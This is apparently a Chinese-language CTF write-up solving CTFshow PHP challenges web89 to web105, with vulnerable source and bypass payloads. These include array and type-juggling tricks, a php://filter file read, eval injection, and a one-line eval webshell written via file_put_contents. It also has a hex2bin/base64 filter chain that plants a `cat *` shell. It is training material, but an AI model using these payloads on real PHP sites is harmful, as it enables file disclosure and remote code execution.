CTFSHOW php 特性

web89 数组绕过正则

复制代码
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
get num
    if(preg_match("/[0-9]/", $num)){
是数字 就输出 no
        die("no no no!");
    }
    if(intval($num)){
如果是存在整数 输出 flag
        echo $flag;
    }
}

这个使用数组就可以绕过正则

这里学一下

PHP preg_match() 函数 | 菜鸟教程

复制代码
?num[0]=1

web90 ===的绕过

复制代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

首先 我们输入一个 4476a 就可以绕过 第一个nonono

复制代码
<?php
$num='4476a';
echo intval($num,0);

?>

这样 就绕过了 第二个 ===

也可以使用浮点型

复制代码
<?php
$num=4476.1;
echo intval($num,0);

?>

也可以使用进制

复制代码
intval($num,0)

设置第二个参数为0 如果识别到 0x 那么就自动 转为 16进制取整

复制代码
<?php
$num=0x117c;
echo intval($num,0);

?>

web91 了解正则

复制代码
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

第一个if

复制代码
/^phpA$/  以php为开头的字符串 并且以php结尾的字符串 就是php

/im 多行匹配和匹配大小写

第二个 就是 取消了多行匹配的机制 并且让我们

意思就是单行无法匹配到php开头的字符串

这个时候可以使用url编码的换行符 %0a

复制代码
?cmd=%0aphp

web92 == 绕过

用之前的方法也可以

进制

浮点型

但是我们不能使用 4476a来绕过== 因为他不管比较的双方的类型

只要值相同就相同

我们输入 4476a 他读取到4476 就会和 另一方进行比较

这样 就绕不过去

科学计数法

但是我们可以使用字母e 因为在 计算机中 e有科学计数法的用法

当我们输入 4476e1 == 就会直接识别为 4476e1

绕过第一个 ==

web93 过滤字母

复制代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    } 

能发现不能使用科学计数法了

浮点型

4476.1

进制

我们使用八进制 因为八进制 只要识别到0开头就默认为八进制

web94 strpos(字符串,字符)

复制代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
匹配 所有字母 并且不区分大小写
        die("no no no!");
    }
    if(!strpos($num, "0")){
当 0 出现在开头 就报错
这里可能是想过滤 八进制
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    } 

题目想过滤八进制 但是 其实还是可以使用八进制

八进制

复制代码
?num=  010574

前面添加一个空格即可

浮点型

复制代码
?num=4476.01

这题主要是注意函数

strpos(字符串,字符) 查找字符在字符串第一次出现的位置

所以这个函数就是找到0出现的位置 并且不能让0 在开头

但是我们可以空格绕过

web95 /[a-z]|\./i 正则过滤

复制代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
这里又重新过滤了 .  说明浮点型也不行了
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

那就只能使用

八进制

复制代码
?num=  010574
?num=+010574

web96 路径读取、伪协议

复制代码
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
高亮 flag
这里可以判断 
    }


}

hightlight_file(高亮文件的绝对路径,返回值) 其中返回值可选

这里很明显要我们输入flag的路径

那我们测一下

复制代码
./flag.php   ./表示在当前目录下
../html/flag.php      ../ 表示父级目录 然后访问html中的flag
php://filter/read/resource=flag.php 伪协议

web97 数组绕过md5比较

复制代码
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

通过数组可以绕过MD5的比较

web98 三目运算符

https://www.cnblogs.com/echoDetected/p/13999517.html

https://www.cnblogs.com/NPFS/p/13798533.html

说是三目运算符

复制代码
$_GET?$_GET=&$_POST:'flag'; 

如果get请求存在 那么就通过 post来覆盖掉get请求
这里意思 就是 如果$_GET为真 那么就执行$_GET=&$_POST  否则执行'flag'

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; 

这两个就是 比对get 是否为 flag

如果get接受的参数值为 flag 那就设置&$_COOKIE和&$_SERVER为flag

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

如果get的参数为 http_flag 并且内容为 flag

那么就输出  http_flag的地址

所以这里我们 get的值不能为flag 不然就会设置get为空

然后我们设置post为 HTTP_FLAG=flag

web99 file_put_contents写入

复制代码
highlight_file(__FILE__);
$allow = array();
设为数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
向尾部插入 rand(1,$i) 循环 54次
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
将post的content 写入 get的文件中
如果get不存在 那么就创建文件
}

?> 

这里发现可以写东西到服务器中

那我们就想到一句话木马

这里主要是 in_array 存在漏洞

复制代码
如果 in_array 的第三个参数不设置为 true 就不会比较类型
我们输入 1.php  他会自动识别和 allow一样的类型

为 1 

这里我们看看

复制代码
get: ?n=1.php
post: content=<?php @eval($_POST['a']);?>

web100 优先级

复制代码
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
提示我们 在 ctfshow类中
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
3个参数
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
第四个参数是 前三个相与

if($v0){
    if(!preg_match("/\;/", $v2)){
就是不能在v2中招到 分号;
        if(preg_match("/\;/", $v3)){
要在 v3中找到  分号;
            eval("$v2('ctfshow')$v3");
执行 v2 ('ctfshow')v3
这里 就发现v2 是命令 v3多半就分号 ;
        }
    }
    
}

第一个if判断

复制代码
<?php
$v1=1;
数字
$v2="sb";
字符串
$v3=";";
字符
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 
echo $v0;
?>
复制代码
这里的原理是 = 大于 and 和 or

这样 v0=1 and 0 and 0 还是1

这样就绕过了第一个if

我们知道了 两个的类型

v2 命令

v3分号

这样我们就看看

如何输出

复制代码
var_dump() 可以用于识别类型 并且输出 表达式的类型和值

PHP var_dump() 函数 | 菜鸟教程

我们让v2=var_dump($ctfshow)

v3=;

这样就构造了

var_dump($ctfshow)('ctfshow');

成功返回值了

我们继续尝试

复制代码
?v1=1&v2=var_dump($ctfshow)&v3=;

还有一个方式

就是

通过注释来绕过

复制代码
payload1: ?v1=1&v2=var_dump($ctfshow)&v3=;
payload2: ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

web101 反射API

这个 是关于面向对象

存在一个 反射api

ReflectionClass 用于输出 类的详细信息

创建方式为 new ReflectionClass

可以使用echo ReflectionClass("ClassName" ) 输出类的信息

这里就可以使用这个来

复制代码
?v1=1&v2=echo new ReflectionClass&v3=;

最后需要爆破最后一位

最后一位是 6

web102 PHP短开表达式 回调函数call_user_func

复制代码
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
从v2 的第二位开始读取
    $str = call_user_func($v1,$s);
然后使用回调函数
这里 $s会作为参数 被 $v1调用
这就是另一个调用函数的方式罢了
    echo $str;
    file_put_contents($v3,$str);
写入v3中
}
else{
    die('hacker');
}

这里我们首先要用v2来绕过 第一个if

这里介绍两个函数

复制代码
bin2hex
和
hex2bin

这两个是 字符串 和 十六进制字符串 互相变换的函数

我们思考 第一个if 需要是数字 然后绕过

那我们是不是可以生成一个 十六进制字符串 然后绕过

这里的读取命令是特殊构造的 需要绕过is_numeric()

可以通过科学计数法绕过

这里提及PHP短开表达式

复制代码
<?=`cat *`;




<?=(表达式)?>
相当于
<?php echo (表达式);?>

然后我们通过伪协议 通过解密base64写入文件

以为这个特殊构造的命令是 要先base64加密 然后通过 bin2hex 转换字符串

就可以形成特殊的 科学计数法形式

这里最后的= 可以删除 不删除就无法绕过

复制代码
50 44 38 39 59 47 4e 68 64 43 41 71 59 44 73

然后可以开始写入

复制代码
payload

get :   v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=34.php
       

post:   v1=hex2bin

这样就绕过了

web103

复制代码
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

加了个过滤条件

但是还是可以通过 102的方式直接做

web104 shal弱比较的绕过

复制代码
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
} 

这里主要是 shal 的比较

其实shal和MD5一样 可以通过数组绕过

web105

相关推荐
JaguarJack2 天前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo2 天前
FrankenPHP 原生支持 Windows 了
后端·php
JaguarJack3 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo3 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack4 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay5 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954485 天前
CTF 伪协议
php
BingoGo7 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack7 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo8 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php